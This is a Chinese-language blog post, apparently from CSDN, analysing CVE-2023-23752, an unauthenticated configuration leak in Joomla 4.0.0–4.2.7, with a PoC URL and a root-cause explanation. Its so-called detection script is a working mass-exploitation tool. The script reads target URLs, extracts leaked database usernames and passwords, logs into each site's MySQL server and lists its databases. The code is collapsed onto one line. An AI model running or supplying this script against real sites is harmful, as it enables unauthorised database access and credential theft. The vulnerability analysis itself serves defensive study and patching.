漏洞环境前置
Joomla版本
4.0.0 <= Joomla <= 4.2.7
漏洞复现
Poc:
http://127.0.0.1:8026/api/index.php/v1/config/application?public=true
漏洞分析:
该漏洞产生的主要原因是在路由匹配的过程中,产生了变量覆盖,导致可以绕过权限认证,首先从官方的修复方式入手:
根据官网的修复方式可知,通过array_key_exists函数,对数组$query进行判断,如果存在“public”键,则进行销毁。所以问题就出现在libraries/src/Router/ApiRouter.php#parseApiRoute方法。
在libraries/src/Router/ApiRouter.php#parseApiRoute方法中通过uri::getInstance()->getQuery(true)将public转换成数组,并存入变量$query中:
紧接着跳入,一个for循环对当前route进行遍历,经过请求方式的判断,之后会对访问路径进行正则匹配判断路径是否合法:
getRegex()的作用时获取router数组里面的路由。
POC(/api/index.php/v1/config/application?public=true)访问的路由正好在route数组中。
进入if语句之后将v1/config/application的默认配置赋值给数组变量vars,
此时数组变量vars值为:
这个时候$route->getRouteVariables()的值为空,不会进入for循环,之后获取v1/config/application的Controller赋值给变量$controller.
重点:之后使用array_merge()函数将$vars数据和$query数组进行合并,在这过程种$vars的public的值覆盖掉$query中public的值,最后赋值给$vars,此时$vars中的public的结果为true
最后经过return进行返回,获取route
接下来就是使用route['vars']['public']进行权限判断,经过上面array_merge()函数的覆盖,route['vars']['public']的值为ture。所以能够进行权限越过。
检测脚本:
''' CVE-2023-23752Joomla未授权访问漏洞 ----by:FlynnAAAA'''import reimport requestsimport threadingimport jsonimport pymysqlthreadLock = threading.Lock()def urlsGet(url): timeout = 5 #超时设置为3s result = url.split("//")[1] # 分割字符串并选择第二部分 IP=result.split(":")[0] #print(IP) url=url+"/api/index.php/v1/config/application?public=true" try: get_response = requests.get(url=url,timeout=timeout) if "sitename" in get_response.text: l_str = json.loads(get_response.text) l_str_data=l_str['data'] print(url) for key in l_str_data: attributes=key['attributes'] for key in attributes: if key=="user": print("证号: "+attributes[key]) user=attributes[key] if user=="root":print("值得注意!!!!!") if key=="password": print("密码: "+attributes[key]) password=attributes[key] if key=="db": print("数据库名字: "+attributes[key]) db=attributes[key] if key=="dbtype": print("数据库种类: "+attributes[key]) db=attributes[key] try: db_link = pymysql.connect(host=IP,user=user,password=password,database=db) print("连接成功") cursor = db_link .cursor() sql = "show databases;" cursor.execute(sql) # 获取查询结果 results = cursor.fetchall() # 处理查询结果 for row in results: print(row) cursor.close() db_link.close() except Exception as e: print("连接失败") pass with open("example.txt", "w") as f: # 将变量写入文件 f.write(url) except Exception as e: # threadLock.acquire() # 同步锁,用于异步写入,避免同时写入出现错误 value3 = url + " -->失败" print(value3); passif __name__ == '__main__': with open('urlsGetResult.txt', 'r', encoding='utf-8') as fp: urls = fp.readlines() for url in urls: if url.find("http") == 0: url = url else: url = "http://"+url url = url.replace("\n", "") urlsGet(url) #t = threading.Thread(target=urlsGet, args=(url,)) # 注意传入的参数一定是一个元组! #t.start()
总结:
修复建议:
禁止数据库外联,原因是该漏洞会泄露数据库连接用户名、密码。
来源地址:https://blog.csdn.net/m0_59924300/article/details/129178110